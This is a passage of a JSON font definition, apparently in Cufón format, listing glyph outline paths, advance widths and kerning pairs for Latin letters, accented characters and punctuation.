:18,"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c4":18,"\u00c5":18,"\u00c6":27,"C":9,"G":9,"O":9,"Q":9,"\u00c7":9,"\u00d2":9,"\u00d3":9,"\u00d4":9,"\u00d5":9,"\u00d6":9,"d":22,"o":22,"q":22,"\u00f0":22,"\u00f2":22,"\u00f3":22,"\u00f4":22,"\u00f5":22,"\u00f6":22,"v":13,"w":13,"y":13,"\u00fd":13,"\u00ff":13,"\"":-3,"'":-3,",":17,".":14,"c":22,"e":22,"\u00e7":22,"\u00e8":22,"\u00e9":22,"\u00ea":22,"\u00eb":22,"\u00ad":13,"\u2219":10,"a":21,"\u00e0":21,"\u00e1":21,"\u00e2":21,"\u00e3":21,"\u00e4":21,"\u00e5":21,"\u00e6":21,"g":21,"\u00ef":-12,"m":14,"n":14,"p":14,"r":14,"\u00f1":14,"\u00f8":22,"x":5,"z":14,"\u00bb":9,"\u00ab":16,"\u00d8":9,"\u00ec":-4,"\u00ee":-3,"s":23}},{"d":"46,-85v0,55,52,78,95,50r9,23v-56,40,-136,1,-136,-72v0,-67,69,-113,130,-80r0,28v-42,-30,-98,-2,-98,51","w":155,"k":{")":-7,"\u00ad":8,"]":-7,"}":-7}},{"d":"59,-91v0,11,-9,20,-19,20v-10,0,-20,-9,-20,-20v0,-11,10,-20,20,-20v10,0,19,10,19,20","w":80,"k":{"T":12,"V":7,"W":5,"Y":10,"\u00dd":10}},{"d":"5,0r91,-238r22,0r93,238r-35,0r-23,-62r-92,0r-22,62r-34,0xm71,-89r72,0r-36,-101xm100,-251r-32,-52r36,0r21,52r-25,0","w":215,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":5,"v":9,"w":5,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-3,".":-3,":":-3,";":-3,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":14}},{"d":"5,0r91,-238r22,0r93,238r-35,0r-23,-62r-92,0r-22,62r-34,0xm71,-89r72,0r-36,-101xm58,-251r35,-52r28,0r36,52r-26,0r-24,-33r-23,33r-26,0","w":215,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":5,"v":9,"w":5,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-3,".":-3,":":-3,";":-3,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":14}},{"d":"100,-91v51,24,26,95,-36,95v-21,0,-39,-6,-55,-16r10,-23v29,26,100,10,70,-28v-25,-18,-71,-21,-72,-63v-1,-48,63,-60,105,-40r0,27v-29,-19,-96,-9,-65,27v12,9,29,14,43,21","w":141},{"w":80,"k":{"A":13,"\u00c0":13,"\u00c1":13,"\u00c2":13,"\u00c3":13,"\u00c4":13,"\u00c5":13,"\u00c6":17,"C":10,"G":10,"O":10,"Q":10,"\u00c7":10,"\u00d2":10,"\u00d3":10,"\u00d4":10,"\u00d5":10,"\u00d6":10,"T":22,"V":21,"W":13,"X":13,"Y":15,"\u00dd":15,"J":11,"S":9,"U":10,"\u00d9":10,"\u00da":10,"\u00db":10,"\u00dc":10,"f":9,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"t":7,"v":8,"w":5,"y":7,"\u00fd":7,"\u00ff":7}},{"d":"33,-14r0,-28r123,-52r-123,-51r0,-28r152,66r0,27","w":207},{"d":"31,0r0,-237r119,0r-9,26r-78,0r0,76r77,0r0,27r-77,0r0,82r89,0r0,26r-121,0xm57,-289v24,0,20,36,0,36v-10,-1,-18,-8,-18,-18v0,-11,7,-18,18,-18xm122,-289v23,0,22,36,0,36v-10,-1,-18,-8,-18,-18v0,-11,7,-18,18,-18","w":172},{"d":"12,43v15,-27,21,-48,14,-79r31,-5v6,40,-3,66,-28,93","w":80,"k":{"A":-3,"\u00c0":-3,"\u00c1":-3,"\u00c2":-3,"\u00c3":-3,"\u00c4":-3,"\u00c5":-3,"\u00c6":-3,"T":18,"V":20,"W":14,"X":-3,"Y":17,"\u00dd":17,"J":-3,"v":11,"w":12,"y":7,"\u00fd":7,"\u00ff":7,"\"":7,"'":7,"x":-3,"\u00ab":8,"Z":-3,"1":29}},{"d":"19,-206r0,-25r94,0r0,25r-94,0","w":132},{"d":"175,-85v0,49,-33,89,-81,89v-47,0,-80,-41,-80,-89v0,-50,33,-90,81,-90v48,0,80,41,80,90xm46,-85v0,33,17,62,48,62v32,0,49,-29,49,-62v0,-34,-16,-63,-48,-63v-32,0,-49,29,-49,63xm80,-191r20,-53r36,0r-32,53r-24,0","w":189,"k":{"v":3,"y":5,"\u00fd":5,"\u00ff":5,"\"":7,"'":7,",":1,"x":5,"z":4}},{"d":"123,45v0,30,-41,37,-70,27r5,-17v14,6,35,6,37,-10v-3,-13,-16,-12,-31,-13r10,-31v-38,-7,-60,-41,-60,-85v0,-67,69,-113,130,-80r0,28v-42,-30,-98,-2,-98,51v0,55,52,78,95,50r9,23v-15,11,-32,16,-52,16r-5,15v20,2,30,10,30,26","w":155,"k":{")":-7,"\u00ad":8,"]":-7,"}":-7}},{"d":"131,-104v3,-55,-47,-51,-77,-20r0,124r-32,0r0,-170r27,0r4,21v35,-31,82,-39,103,3v40,-44,114,-39,114,32r0,114r-31,0r0,-105v3,-55,-47,-49,-77,-19r0,124r-31,0r0,-104","w":292,"k":{"v":1,"y":3,"\u00fd":3,"\u00ff":3,"\"":4,"'":4}},{"d":"51,-218v0,11,-7,18,-18,18v-10,0,-17,-8,-17,-18v0,-10,7,-17,17,-17v10,0,18,7,18,17xm117,-218v-1,10,-8,18,-18,18v-11,0,-18,-7,-18,-18v0,-24,36,-20,36,0","w":132},{"d":"46,-78v-2,51,55,71,96,44r10,22v-59,39,-138,3,-138,-74v0,-49,26,-89,72,-89v50,0,73,42,70,97r-110,0xm123,-102v5,-39,-41,-63,-66,-34v-7,9,-11,21,-11,34r77,0xm37,-191r36,-53r28,0r35,53r-26,0r-23,-34r-24,34r-26,0","w":170,"k":{"\"":5,"'":5}},{"d":"253,-118v0,70,-49,122,-117,122v-68,0,-117,-52,-117,-122v0,-69,49,-121,117,-121v68,0,117,52,117,121xm53,-118v0,54,31,94,83,94v52,1,83,-40,83,-94v0,-53,-30,-94,-83,-94v-51,0,-83,41,-83,94xm128,-251r-32,-52r36,0r21,52r-25,0","w":272,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":2,"Z":6}},{"d":"171,-87v0,62,-54,108,-115,85r0,87r-32,0r0,-340r32,0r0,84v64,-16,115,19,115,84xm139,-87v0,-47,-38,-71,-83,-57r0,114v42,21,83,-9,83,-57","k":{"v":3,"y":5,"\u00fd":5,"\u00ff":5,"\"":7,"'":7,",":1,"x":5,"z":4}},{"w":80},{"d":"30,0r0,-237r32,0r0,237r-32,0xm39,-251r-32,-52r36,0r21,52r-25,0","w":92},{"d":"54,-67v-8,54,56,50,74,22r0,-125r32,0r0,117v0,27,1,45,3,53r-28,0r-5,-19v-39,40,-108,26,-108,-42r0,-109r32,0r0,103xm84,-191r-33,-53r36,0r21,53r-24,0"},{"d":"-5,79r8,-26v42,19,67,-15,76,-53r-76,-170r34,0r57,132r44,-132r33,0r-64,181v-14,50,-50,90,-112,68xm75,-218v-1,10,-8,18,-18,18v-11,0,-18,-7,-18,-18v0,-24,36,-20,36,0xm140,-218v0,11,-7,18,-18,18v-10,0,-18,-8,-18,-18v0,-9,8,-17,18,-17v10,0,18,7,18,17","w":173,"k":{"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"\"":-3,"'":-3,",":10,".":8,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00f8":4}},{"d":"46,-78v-2,51,55,71,96,44r10,22v-59,39,-138,3,-138,-74v0,-49,26,-89,72,-89v50,0,73,42,70,97r-110,0xm123,-102v5,-39,-41,-63,-66,-34v-7,9,-11,21,-11,34r77,0xm80,-191r-32,-53r36,0r21,53r-25,0","w":170,"k":{"\"":5,"'":5}},{"d":"54,-67v-8,54,56,50,74,22r0,-125r32,0r0,117v0,27,1,45,3,53r-28,0r-5,-19v-39,40,-108,26,-108,-42r0,-109r32,0r0,103xm43,-191r35,-53r28,0r36,53r-26,0r-24,-34r-23,34r-26,0"},{"d":"259,-118v0,68,-51,122,-119,122v-68,0,-120,-54,-120,-122v0,-68,53,-121,120,-121v67,0,119,53,119,121xm41,-118v0,58,42,104,99,104v57,0,99,-47,99,-104v0,-57,-42,-103,-99,-103v-57,0,-99,46,-99,103xm98,-118v0,45,41,68,78,45r7,16v-48,29,-106,-2,-106,-59v0,-54,54,-92,102,-65r0,19v-36,-23,-81,-1,-81,44","w":279},{"d":"107,-303v43,-5,51,62,12,67r92,236r-35,0r-23,-62r-92,0r-22,62r-34,0r89,-235v-40,-8,-30,-72,13,-68xm71,-89r72,0r-36,-103xm90,-268v0,12,7,18,17,18v10,0,16,-7,16,-18v0,-12,-6,-19,-16,-19v-11,0,-17,7,-17,19","w":215,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":5,"v":9,"w":5,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-3,".":-3,":":-3,";":-3,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":14}},{"d":"37,-70v0,75,66,121,135,91r7,20v-86,32,-166,-20,-166,-109v0,-78,56,-137,131,-137v68,0,120,47,120,114v0,46,-20,81,-60,81v-21,0,-33,-12,-36,-31v-7,15,-27,31,-50,30v-28,-1,-46,-23,-46,-56v0,-66,72,-104,126,-66r-9,76v0,16,6,25,18,25v24,0,33,-28,33,-58v0,-55,-38,-94,-97,-94v-62,0,-106,49,-106,114xm170,-120v-36,-20,-70,12,-70,52v0,40,32,43,51,21v12,-13,15,-48,19,-73","w":277},{"d":"23,-158v45,-29,123,-24,125,43r3,115r-27,0r-6,-18v-34,39,-105,24,-105,-32v0,-49,50,-56,103,-55v7,-51,-49,-52,-81,-31xm89,-82v-48,-10,-60,59,-14,60v15,0,29,-7,41,-20r0,-41xm35,-191r35,-53r28,0r36,53r-26,0r-24,-34r-23,34r-26,0","w":169,"k":{"\"":6,"'":6}},{"d":"54,-67v-8,54,56,50,74,22r0,-125r32,0r0,117v0,27,1,45,3,53r-28,0r-5,-19v-39,40,-108,26,-108,-42r0,-109r32,0r0,103xm77,-218v0,10,-7,18,-17,18v-11,0,-18,-7,-18,-18v0,-10,8,-17,18,-17v10,0,17,7,17,17xm143,-218v0,11,-7,18,-18,18v-11,0,-18,-7,-18,-18v0,-10,8,-17,18,-17v10,0,18,7,18,17"},{"d":"30,0r0,-237r31,0r140,184r0,-184r32,0r0,237r-29,0r-143,-188r1,188r-32,0xm157,-258v-16,5,-53,-39,-55,-3r-22,0v-3,-23,7,-38,27,-38v17,-5,53,39,55,2r22,0v2,23,-7,38,-27,39","w":262},{"d":"26,0r0,-170r31,0r0,170r-31,0xm24,-191r21,-53r36,0r-32,53r-25,0","w":82},{"d":"26,0r0,-170r31,0r0,170r-31,0xm27,-218v0,26,-36,21,-36,0v0,-21,36,-22,36,0xm92,-218v0,10,-7,18,-17,18v-11,0,-18,-7,-18,-18v0,-10,8,-17,18,-17v10,0,17,7,17,17","w":82},{"d":"30,0r0,-237r120,0r-9,26r-79,0r0,76r77,0r0,27r-77,0r0,108r-32,0","w":164,"k":{"A":18,"\u00c0":18,"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c4":18,"\u00c5":18,"\u00c6":22,"S":4,"f":6,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"t":7,"v":7,"w":4,"y":7,"\u00fd":7,"\u00ff":7,",":23,".":22,"c":7,"e":7,"\u00e7":7,"\u00e8":7,"\u00e9":7,"\u00ea":7,"\u00eb":7,"a":8,"\u00e0":8,"\u00e1":8,"\u00e2":8,"\u00e3":8,"\u00e4":8,"\u00e5":8,"\u00e6":8,"g":9,"\u00ef":-5,"m":7,"n":7,"p":7,"r":7,"\u00f1":7,"\u00f8":7,"x":9,"z":13,"\u00bb":6}},{"d":"92,-179r6,58r-24,0v-2,-10,5,-50,6,-57r-47,34r-12,-21v6,-5,47,-21,53,-24v-5,-2,-48,-19,-53,-23r12,-21v9,4,41,29,47,34r-6,-58r24,0v2,8,-5,55,-6,58r48,-34r12,21v-5,6,-47,20,-54,23v6,4,48,19,54,24r-13,21v-7,-4,-43,-31,-47,-35","w":172},{"d":"79,0r0,-205r-56,26r-10,-25v33,-11,51,-37,98,-35r0,239r-32,0","w":151},{"d":"49,-191r20,-53r36,0r-32,53r-24,0","w":132},{"d":"165,-28r-23,-24v-27,20,-66,20,-93,0r-24,24r-20,-20r24,-23v-20,-27,-20,-67,0,-94r-24,-23r20,-20r23,24v28,-20,67,-20,95,0r23,-23r19,19r-23,23v20,28,20,66,-1,94r24,23xm40,-118v0,31,25,57,55,57v29,0,55,-26,55,-57v0,-31,-25,-57,-55,-57v-31,0,-55,26,-55,57","w":190},{"d":"162,-73v0,70,-87,93,-147,66r9,-26v39,18,104,11,104,-39v0,-43,-46,-47,-96,-45r0,-120r130,0r-7,26r-92,0r0,68v59,-3,99,22,99,70","k":{"1":5}},{"d":"224,-201v65,72,16,205,-87,205v-27,0,-50,-8,-70,-23r-23,27r-20,-17r24,-26v-63,-73,-14,-204,89,-204v25,0,47,7,67,22r24,-28r20,16xm85,-41v56,45,135,0,135,-77v0,-23,-5,-43,-16,-59xm186,-195v-56,-44,-133,3,-133,77v0,23,5,43,15,58","w":273,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,",":4,".":5}},{"d":"253,-118v0,70,-49,122,-117,122v-68,0,-117,-52,-117,-122v0,-69,49,-121,117,-121v68,0,117,52,117,121xm53,-118v0,54,31,94,83,94v52,1,83,-40,83,-94v0,-53,-30,-94,-83,-94v-51,0,-83,41,-83,94xm162,-258v-16,5,-53,-39,-55,-3r-22,0v-3,-23,7,-38,27,-38v17,-6,53,39,55,2r22,0v2,23,-7,38,-27,39","w":272,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":2,"Z":6}},{"d":"14,-83v0,-61,53,-106,116,-88r0,-84r32,0r0,247v-61,31,-148,1,-148,-75xm46,-84v0,46,41,71,84,57r0,-117v-46,-15,-84,13,-84,60","w":186},{"d":"30,0r0,-237r32,0r0,237r-32,0xm-4,-251r36,-52r28,0r35,52r-26,0r-23,-33r-24,33r-26,0","w":92},{"d":"78,6v3,48,-40,70,-88,56r6,-27v27,11,50,-1,50,-35r0,-237r32,0r0,243","w":108},{"d":"74,0r148,-237r28,0r-149,237r-27,0xm117,-137v2,41,-62,50,-97,33r7,-21v19,11,62,11,62,-14v0,-21,-26,-20,-50,-20r0,-20v22,1,46,-2,45,-21v-2,-25,-33,-18,-53,-9r-7,-20v34,-17,87,-14,88,26v1,17,-10,25,-25,33v17,3,30,14,30,33xm180,-31r0,-17r69,-92r24,0r0,89r19,0r0,20r-19,0r0,31r-25,0r0,-31r-68,0xm209,-51r39,0r1,-54","w":319},{"d":"97,-229v-28,0,-44,19,-43,51r0,229r-32,0r0,-226v-1,-51,28,-80,75,-80v48,0,78,32,74,87v-24,5,-36,14,-36,27v9,37,62,40,62,90v0,57,-77,68,-116,40r10,-24v24,18,77,20,75,-15v-2,-41,-63,-42,-62,-87v0,-22,12,-38,36,-46v-1,-27,-16,-46,-43,-46","w":209,"k":{"\"":11,"'":11}},{"d":"115,-154v0,10,-9,19,-19,19v-11,0,-20,-8,-20,-19v-1,-11,10,-21,20,-21v10,0,19,10,19,21xm78,-21v-27,12,-35,62,6,61v16,0,32,-6,47,-20r14,21v-34,40,-126,38,-126,-24v0,-50,62,-54,73,-93v0,-6,-2,-12,-7,-18r26,-13v31,35,-5,74,-33,86","w":165,"k":{"A":5,"\u00c0":5,"\u00c1":5,"\u00c2":5,"\u00c3":5,"\u00c4":5,"\u00c5":5,"\u00c6":9,"C":7,"G":7,"O":7,"Q":7,"\u00c7":7,"\u00d2":7,"\u00d3":7,"\u00d4":7,"\u00d5":7,"\u00d6":7,"T":25,"V":27,"W":18,"X":18,"Y":22,"\u00dd":22,"J":-3,"S":7,"v":9,"w":9,"x":7,"z":7,"Z":11,"j":-3}},{"d":"66,0r149,-237r27,0r-149,237r-27,0xm72,-99r0,-112r-43,16r-9,-20v26,-8,42,-26,78,-24r0,140r-26,0xm174,-31r0,-17r69,-92r23,0r0,89r19,0r0,20r-19,0r0,31r-25,0r0,-31r-67,0xm202,-51r39,0r1,-54","w":319},{"d":"149,-79v-2,51,55,72,96,45r10,22v-37,24,-100,21,-121,-16v-31,47,-121,43,-121,-22v0,-50,51,-56,105,-53v7,-52,-48,-55,-83,-33r-12,-22v35,-22,96,-26,114,11v42,-60,135,-15,122,68r-110,0xm86,-79v-52,-7,-52,56,-11,57v20,0,39,-14,48,-27v-3,-9,-5,-18,-5,-30r-32,0xm226,-103v4,-38,-42,-62,-65,-33v-7,9,-12,20,-12,33r77,0","w":272,"k":{"\"":5,"'":5}},{"d":"253,-118v0,70,-49,122,-117,122v-68,0,-117,-52,-117,-122v0,-69,49,-121,117,-121v68,0,117,52,117,121xm53,-118v0,54,31,94,83,94v52,1,83,-40,83,-94v0,-53,-30,-94,-83,-94v-51,0,-83,41,-83,94xm87,-251r35,-52r28,0r36,52r-26,0r-24,-33r-23,33r-26,0","w":272,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":2,"Z":6}},{"d":"22,-157v0,-47,33,-80,82,-80r83,0r0,295r-27,0r0,-272r-37,0r0,272r-28,0r0,-135v-43,-1,-73,-35,-73,-80","w":221},{"d":"30,0r0,-237r120,0r-9,26r-79,0r0,76r78,0r0,27r-78,0r0,82r90,0r0,26r-122,0xm39,-251r35,-52r28,0r36,52r-26,0r-24,-33r-23,33r-26,0","w":172},{"d":"23,-158v45,-29,123,-24,125,43r3,115r-27,0r-6,-18v-34,39,-105,24,-105,-32v0,-49,50,-56,103,-55v7,-51,-49,-52,-81,-31xm89,-82v-48,-10,-60,59,-14,60v15,0,29,-7,41,-20r0,-41xm67,-191r21,-53r36,0r-32,53r-25,0","w":169,"k":{"\"":6,"'":6}},{"d":"22,-80r0,-27r152,-66r0,28r-123,52r123,51r0,28","w":207},{"d":"175,-85v0,49,-33,89,-81,89v-47,0,-80,-41,-80,-89v0,-50,33,-90,81,-90v48,0,80,41,80,90xm46,-85v0,33,17,62,48,62v32,0,49,-29,49,-62v0,-34,-16,-63,-48,-63v-32,0,-49,29,-49,63xm120,-197v-17,5,-54,-38,-56,-2r-22,0v-2,-22,8,-37,27,-38v16,-5,54,39,56,2r22,0v2,23,-7,38,-27,38","w":189,"k":{"v":3,"y":5,"\u00fd":5,"\u00ff":5,"\"":7,"'":7,",":1,"x":5,"z":4}},{"d":"23,-158v45,-29,123,-24,125,43r3,115r-27,0r-6,-18v-34,39,-105,24,-105,-32v0,-49,50,-56,103,-55v7,-51,-49,-52,-81,-31xm89,-82v-48,-10,-60,59,-14,60v15,0,29,-7,41,-20r0,-41xm77,-191r-32,-53r36,0r21,53r-25,0","w":169,"k":{"\"":6,"'":6}},{"d":"46,-78v-2,51,55,71,96,44r10,22v-59,39,-138,3,-138,-74v0,-49,26,-89,72,-89v50,0,73,42,70,97r-110,0xm123,-102v5,-39,-41,-63,-66,-34v-7,9,-11,21,-11,34r77,0xm69,-191r21,-53r36,0r-32,53r-25,0","w":170,"k":{"\"":5,"'":5}},{"d":"67,-154v1,11,-9,20,-19,20v-10,0,-19,-10,-19,-20v0,-11,8,-20,19,-20v10,0,20,9,19,20xm57,-107v9,58,7,91,7,172r-32,0v0,-80,-2,-116,8,-172r17,0","w":96,"k":{"T":18,"V":11,"W":11,"X":5,"Y":11,"\u00dd":11,"Z":7,"j":-5}},{"d":"175,-85v0,49,-33,89,-81,89v-47,0,-80,-41,-80,-89v0,-50,33,-90,81,-90v48,0,80,41,80,90xm46,-85v0,33,17,62,48,62v32,0,49,-29,49,-62v0,-34,-16,-63,-48,-63v-32,0,-49,29,-49,63xm86,-191r-32,-53r36,0r21,53r-25,0","w":189,"k":{"v":3,"y":5,"\u00fd":5,"\u00ff":5,"\"":7,"'":7,",":1,"x":5,"z":4}},{"d":"24,0r0,-255r32,0r1,146r61,-61r38,0r-74,72r81,98r-38,0r-69,-85r0,85r-32,0","w":164,"k":{"d":6,"o":6,"q":6,"\u00f0":6,"\u00f2":6,"\u00f3":6,"\u00f4":6,"\u00f5":6,"\u00f6":6,"c":6,"e":6,"\u00e7":6,"\u00e8":6,"\u00e9":6,"\u00ea":6,"\u00eb":6,"\u00ad":13,"\u00ab":7}},{"d":"211,-86v0,60,-33,89,-91,90v-59,0,-92,-30,-92,-90r0,-151r32,0v7,82,-30,213,60,213v91,0,52,-131,60,-213r31,0r0,151xm112,-251r-32,-52r36,0r21,52r-25,0","w":239,"k":{"\u00c6":8}},{"d":"16,-62r0,-22r115,-155r22,0r0,151r35,0r0,26r-35,0r0,62r-31,0r0,-62r-106,0xm51,-87r71,-1r2,-101","w":201,"k":{"\"":13,"'":13}},{"d":"166,-68v0,70,-95,87,-153,59r9,-26v38,18,111,18,111,-33v0,-38,-45,-41,-89,-39r0,-26v44,2,82,-3,82,-42v-1,-49,-64,-42,-98,-21r-9,-25v51,-32,143,-24,140,44v0,26,-12,44,-37,54v27,5,44,23,44,55","w":192,"k":{"1":10,"2":8,"7":5}},{"d":"190,-152v0,48,-38,87,-86,87v-49,0,-86,-38,-86,-87v0,-49,37,-87,86,-87v48,0,86,39,86,87xm34,-152v0,41,30,73,70,73v40,0,69,-32,69,-73v0,-41,-29,-73,-69,-73v-40,0,-70,32,-70,73xm75,-201v29,-1,60,0,59,26v0,13,-8,22,-23,25v5,3,14,18,28,43r-17,0v-17,-27,-16,-40,-32,-39r0,39r-15,0r0,-94xm117,-174v0,-13,-12,-14,-27,-14r0,30v16,1,28,-3,27,-16","w":208},{"d":"19,-76r0,-27r92,0r0,27r-92,0","w":129},{"d":"0,43r0,-19r161,0r0,19r-161,0","w":160},{"d":"167,-121v0,54,-42,80,-105,75r0,46r-32,0r0,-237r32,0r0,40v64,-4,105,21,105,76xm133,-121v0,-39,-28,-53,-71,-50r0,99v43,3,71,-8,71,-49","k":{"A":10,"\u00c0":10,"\u00c1":10,"\u00c2":10,"\u00c3":10,"\u00c4":10,"\u00c5":10,"\u00c6":18,"V":6,"W":3,"X":17,"Y":14,"\u00dd":14,"\"":6,"'":6,",":14,".":12,"Z":21}},{"d":"30,0v15,-79,45,-150,91,-211r-106,0r-7,-26r155,0r0,12v-51,64,-84,139,-100,225r-33,0","w":172,"k":{",":38,".":40,"4":26,"2":4,"0":2,"6":11,"8":9}},{"d":"125,-182v0,32,-26,55,-56,55v-31,0,-55,-24,-55,-55v0,-31,23,-55,55,-55v31,0,56,23,56,55xm38,-182v0,19,13,33,31,33v18,0,32,-14,32,-33v0,-20,-14,-34,-32,-34v-18,0,-31,15,-31,34","w":138},{"d":"132,-126v80,23,47,135,-35,126r-67,0r0,-237v66,-3,134,-2,133,60v0,25,-12,43,-31,51xm145,-68v0,-39,-41,-43,-83,-40r0,81v43,3,83,-2,83,-41xm131,-173v0,-34,-31,-41,-69,-38r0,77v37,3,69,-4,69,-39","w":196,"k":{"T":6,"Y":7,"\u00dd":7,"\"":2,"'":2}},{"d":"175,-127v0,97,-66,157,-154,120r9,-26v60,30,118,-12,111,-74v-45,40,-126,17,-126,-53v0,-45,31,-80,77,-79v58,1,83,46,83,112xm48,-163v0,58,74,62,94,25v0,-39,-17,-75,-51,-75v-26,0,-43,22,-43,50","w":193,"k":{"7":7}},{"d":"30,0r0,-237r120,0r-9,26r-79,0r0,76r78,0r0,27r-78,0r0,82r90,0r0,26r-122,0","w":172},{"d":"30,0r0,-237r32,0r0,237r-32,0xm28,-251r21,-52r36,0r-32,52r-25,0","w":92},{"d":"6,0r84,-119r-78,-118r37,0r62,93r64,-93r36,0r-82,117r79,120r-36,0r-63,-96r-67,96r-36,0","w":217,"k":{"C":9,"G":9,"O":9,"Q":9,"\u00c7":9,"\u00d2":9,"\u00d3":9,"\u00d4":9,"\u00d5":9,"\u00d6":9,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"v":13,"w":13,"y":13,"\u00fd":13,"\u00ff":13,"\"":-3,"'":-3,".":-3,"c":7,"e":7,"\u00e7":7,"\u00e8":7,"\u00e9":7,"\u00ea":7,"\u00eb":7,"\u00ab":8}},{"d":"155,-146v44,53,12,150,-61,150v-17,0,-32,-6,-46,-16r-15,20r-15,-12r16,-20v-44,-53,-12,-151,61,-151v17,0,33,6,46,16r14,-18r16,12xm66,-33v52,41,96,-34,70,-88xm123,-138v-35,-30,-77,6,-77,53v0,14,3,26,8,36","w":189,"k":{"z":5}},{"d":"170,-90v0,75,-81,115,-146,83r0,-248r32,0r0,88v59,-25,114,13,114,77xm138,-89v0,-46,-41,-73,-82,-51r0,113v45,16,82,-17,82,-62","w":183,"k":{"v":3,"y":5,"\u00fd":5,"\u00ff":5,"\"":7,"'":7,",":1,"x":5,"z":4}},{"d":"21,-221v50,-29,145,-27,142,41v-4,81,-101,76,-110,154r111,0r0,26r-151,0v5,-73,49,-109,96,-139v29,-19,27,-73,-20,-73v-19,0,-38,5,-58,16","k":{"4":11}},{"d":"10,-110r0,-26r171,0r0,26r-171,0xm10,-45r0,-27r171,0r0,27r-171,0","w":191},{"d":"59,-140v0,11,-9,20,-19,20v-10,0,-21,-9,-20,-20v0,-11,9,-20,20,-20v11,0,19,10,19,20xm59,-17v0,11,-9,20,-19,20v-10,0,-20,-9,-20,-20v0,-11,10,-20,20,-20v10,0,19,10,19,20","w":80,"k":{"A":-3,"\u00c0":-3,"\u00c1":-3,"\u00c2":-3,"\u00c3":-3,"\u00c4":-3,"\u00c5":-3,"\u00c6":-3,"T":14,"x":-3}},{"d":"114,-152v1,10,-9,19,-18,19v-10,0,-18,-9,-18,-19v0,-10,8,-19,18,-19v9,0,19,9,18,19xm10,-77r0,-27r171,0r0,27r-171,0xm114,-29v1,10,-9,19,-18,19v-10,0,-18,-9,-18,-19v0,-10,8,-19,18,-19v9,0,19,9,18,19","w":191},{"d":"30,0r0,-237r32,0r0,102r126,0r0,-102r32,0r0,237r-32,0r0,-108r-126,0r0,108r-32,0","w":249},{"d":"9,84r0,-25r36,0r0,-312r-36,0r0,-25r66,0r0,362r-66,0","w":102},{"d":"211,-86v0,60,-33,89,-91,90v-59,0,-92,-30,-92,-90r0,-151r32,0v7,82,-30,213,60,213v91,0,52,-131,60,-213r31,0r0,151xm72,-251r35,-52r28,0r36,52r-27,0r-23,-33r-23,33r-26,0","w":239,"k":{"\u00c6":8}},{"d":"136,-123v80,23,46,127,-37,127v-46,0,-80,-23,-81,-65v0,-32,23,-51,45,-62v-67,-27,-35,-125,38,-116v74,-8,100,90,35,116xm52,-65v0,28,21,41,48,43v41,3,67,-51,30,-72v-14,-9,-21,-10,-39,-16v-19,7,-39,22,-39,45xm100,-213v-37,0,-55,41,-28,62v9,7,20,12,35,16v46,-12,42,-78,-7,-78","w":200},{"d":"175,-85v0,49,-33,89,-81,89v-47,0,-80,-41,-80,-89v0,-50,33,-90,81,-90v48,0,80,41,80,90xm46,-85v0,33,17,62,48,62v32,0,49,-29,49,-62v0,-34,-16,-63,-48,-63v-32,0,-49,29,-49,63xm80,-218v0,26,-36,21,-36,0v0,-21,36,-22,36,0xm145,-218v0,11,-7,18,-18,18v-10,0,-18,-8,-18,-18v0,-9,8,-17,18,-17v10,0,18,7,18,17","w":189,"k":{"v":3,"y":5,"\u00fd":5,"\u00ff":5,"\"":7,"'":7,",":1,"x":5,"z":4}},{"d":"6,12r90,-263r31,0r-90,263r-31,0","w":132},{"d":"22,0r0,-170r27,0r4,21v22,-23,41,-33,68,-21r-12,29v-22,-11,-34,-2,-55,17r0,124r-32,0","w":120,"k":{"d"